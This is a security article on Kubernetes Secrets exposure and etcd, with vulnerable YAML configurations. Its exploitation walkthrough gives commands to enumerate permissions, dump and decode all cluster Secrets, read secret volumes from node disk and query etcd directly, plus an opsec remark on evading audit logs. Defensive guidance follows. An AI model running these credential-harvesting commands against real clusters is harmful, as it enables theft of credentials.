Kubernetes Secrets and etcd Exposure

Kubernetes Secrets and etcd Exposure - article cover image Containers & DevSecOps
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Kubernetes Secret objects exist to separate sensitive values — passwords, tokens, TLS keys, service credentials — from Pod specs and container images, and the tooling around them (kubectl create secret, automatic mounting, RBAC scoping) strongly implies cryptographic protection. They are not protected by default. A Secret‘s data field is simply base64-encoded — an encoding, not encryption — so anyone who can read the object via the API, or read the raw key out of etcd, trivially recovers the plaintext with base64 -d. Understanding this gap between what Secret implies and what it guarantees is essential to assessing real risk in any cluster.

This matters because etcd is the single source of truth for the entire cluster state, including every Secret ever created, and it is frequently under-protected relative to its value: it may be reachable without mutual TLS, its data directory may be included in unencrypted backups, or the node it runs on may be accessible to more people than the Kubernetes API itself. Combined with RBAC that is often broader than intended — a Role with get/list on secrets handed to a service account or CI pipeline “just to be safe” — Secrets end up being the easiest, highest-value target in a cluster compromise, since a single read gives cleartext credentials rather than a hash that still needs cracking.

Attack Prerequisites

Recovering Kubernetes Secrets requires one of a few different access paths, any of which is common in real clusters:

  • API-level RBAC access to secrets — get, list, or watch on the secrets resource in any namespace the attacker’s identity (often a compromised service account token) can reach.
  • Direct or proxied access to etcd — reachability to the etcd client port (2379) without enforced mTLS, or filesystem access to an etcd data directory or unencrypted snapshot.
  • No EncryptionConfiguration configured on the API server, so Secret values are written to etcd as base64 with no envelope encryption.
  • Node or volume access — reading a Pod’s mounted secret volume off the node filesystem (/var/lib/kubelet/pods/.../kubernetes.io~secret/), trivial from a container-escaped or hostPath-privileged pod.

How It Works

A Secret‘s data field holds each value as standard base64, and the API server does nothing more to it unless the operator has explicitly configured encryption at rest. kubectl get secret <name> -o yaml returns the base64 blobs directly to anyone with read access; there is no additional check, MFA prompt, or decryption step between “can read the Secret object” and “has the plaintext credential.” This is by design — Kubernetes documentation describes base64 in Secrets as a convenience for binary data, not a security control — but many teams assume “Secret” implies vault-equivalent confidentiality and scope RBAC loosely.

Whether that base64 blob is further protected once it lands in etcd depends entirely on whether EncryptionConfiguration is configured on kube-apiserver. Without it, etcd stores the Secret exactly as received — base64 text, in plaintext on disk (etcd does not encrypt its data files by default). Anyone with direct read access to etcd — via the client API on port 2379 with valid certs, raw filesystem access to /var/lib/etcd, or an unencrypted snapshot taken for backup — can query every Secret in the cluster in one pass, bypassing Kubernetes RBAC entirely, because RBAC is an API-server concept and etcd has no idea what a Role is. EncryptionConfiguration fixes this by having the API server envelope-encrypt values (AES-CBC/AES-GCM, optionally backed by a cloud KMS or Vault provider) before writing to etcd, so a raw etcd read yields ciphertext instead of base64 plaintext.

Finally, RBAC itself is the everyday exposure path, not an exotic one — a Role/ClusterRole granting get/list/watch on secrets means reading the plaintext-equivalent (post-decode) credential with a normal kubectl call, no etcd access required. Service accounts are the usual over-privileged party: a namespace’s default service account, or a CI/CD deploy account bound to a ClusterRole with secrets: ["*"] for convenience, hands out every Secret in scope to anything running as that identity — including a compromised Pod within the namespace.

Vulnerable Code / Configuration

A Secret as stored — this is the entire protection: base64, reversible in one command, with no indication whether encryption at rest is configured underneath it:

apiVersion: v1
kind: Secret
metadata:
  name: db-credentials
  namespace: prod
type: Opaque
data:
  username: YWRtaW4=          # base64, NOT encrypted
  password: U3VwZXJTM2NyZXQh  # base64, NOT encrypted
YAML
# Reading it back is a one-liner regardless of RBAC intent -- the API
# never asked for anything beyond read access to the object:
kubectl get secret db-credentials -n prod -o jsonpath='{.data.password}' \
  | base64 -d
# SuperS3cret!
Bash

An EncryptionConfiguration that is present but effectively useless — identity listed first means Secrets are still written unencrypted, a common misconfiguration when a provider was added but the ordering was never fixed:

# /etc/kubernetes/encryption-config.yaml, referenced via
# kube-apiserver --encryption-provider-config=...
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
      - secrets
    providers:
      # VULNERABLE ORDER: identity (no-op) is tried FIRST, so new/rewritten
      # secrets are still stored as plain base64 in etcd. The aescbc
      # provider below is effectively dead weight.
      - identity: {}
      - aescbc:
          keys:
            - name: key1
              secret: <base64-encoded-32-byte-key>
YAML

An overly broad RBAC grant handing secret-read to far more identities than intended — a very common “deploy tooling needs access” pattern:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ci-deployer
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "watch"]   # cluster-wide read on ALL secrets,
    resourceNames: []                    # in every namespace, no scoping
YAML

Walkthrough / Exploitation

From a compromised Pod or stolen service account token, enumerate what the identity can read before touching anything else:

kubectl auth can-i --list
kubectl auth can-i get secrets --all-namespaces
Bash

If secret-read is available, dump and decode everything reachable in one pass:

kubectl get secrets --all-namespaces -o json > all-secrets.json
python3 - <<'EOF'
import json, base64
d = json.load(open('all-secrets.json'))
for item in d['items']:
    ns, name = item['metadata']['namespace'], item['metadata']['name']
    for k, v in item.get('data', {}).items():
        print(ns, name, k, base64.b64decode(v).decode(errors='replace'))
EOF
Bash

From a node compromise (e.g. following a container escape), Secret values mounted into Pods on that node are readable directly off disk, bypassing the API and RBAC entirely:

find /var/lib/kubelet/pods -path '*kubernetes.io~secret*' -type f 2>/dev/null
cat /var/lib/kubelet/pods/<pod-uid>/volumes/kubernetes.io~secret/<name>/*
Bash

If etcd is reachable (via a control-plane pivot, or an exposed client port with usable certs), the entire cluster’s Secrets come out of a single key range query, bypassing every RBAC rule at the API layer:

ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/ --prefix
# without EncryptionConfiguration, each value returned contains the
# base64 Secret data in the clear -- no further decryption needed.
Bash

Note: Even with EncryptionConfiguration correctly ordered, existing Secrets are NOT retroactively re-encrypted — only newly written or updated objects get the new provider. A migration requires re-writing every existing Secret (kubectl get secrets --all-namespaces -o json | kubectl replace -f -) after enabling encryption.

Opsec: kubectl get secret -o yaml and direct etcd reads are logged very differently — API-server audit logging (if enabled) captures the former as a get event with the requesting identity, while a raw etcd read leaves no Kubernetes-level audit trail at all.

Detection and Defense

Treat Secrets as sensitive at every layer they touch — API, etcd storage, and node disk — rather than assuming the name implies protection on its own:

  • Enable EncryptionConfiguration with a real provider (aescbc, aesgcm, or a KMS provider backed by cloud KMS/Vault) listed before identity, and re-write existing Secrets after enabling it.
  • Restrict etcd access tightly — mutual TLS required for all clients, etcd bound to a private network, disk-level encryption for its data directory and any snapshots/backups.
  • Scope RBAC on secrets to the minimum namespace and resource names needed — avoid cluster-wide get/list/watch; use resourceNames to limit a Role to specific Secret objects.
  • Prefer an external secrets manager (Vault, AWS/GCP/Azure Secrets Manager via the External Secrets Operator or CSI driver) so long-lived credentials are not resting in etcd or Secret objects at all.
  • Enable API server audit logging on secrets and alert on unusual get/list volume, especially from service accounts that don’t normally touch Secrets.
  • Set immutable: true where supported, and avoid mounting Secrets as environment variables (visible via /proc/<pid>/environ) in favor of file-based volume mounts.

Real-World Impact

The gap between “Secret” implying protection and base64 providing none is explicitly called out in Kubernetes’ own security documentation and is a top finding in CIS Kubernetes Benchmark assessments and cloud security posture reviews, where “Secrets stored unencrypted in etcd” and “overly broad RBAC on secrets” are both standard control checks. Managed Kubernetes offerings (EKS, GKE, AKS) increasingly enable envelope encryption via cloud KMS by default or as a one-flag opt-in precisely because this misconfiguration is so consistently found in unmanaged and self-hosted clusters during audits.

Conclusion

A Kubernetes Secret is only as protected as the layers around it — base64 provides none, etcd provides none by default, and RBAC only protects the API path, not a direct etcd or node-disk read. Real protection requires configuring encryption at rest with a correctly ordered provider, locking down etcd access, scoping RBAC tightly, and, for the highest-value credentials, moving them into a dedicated secrets manager.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL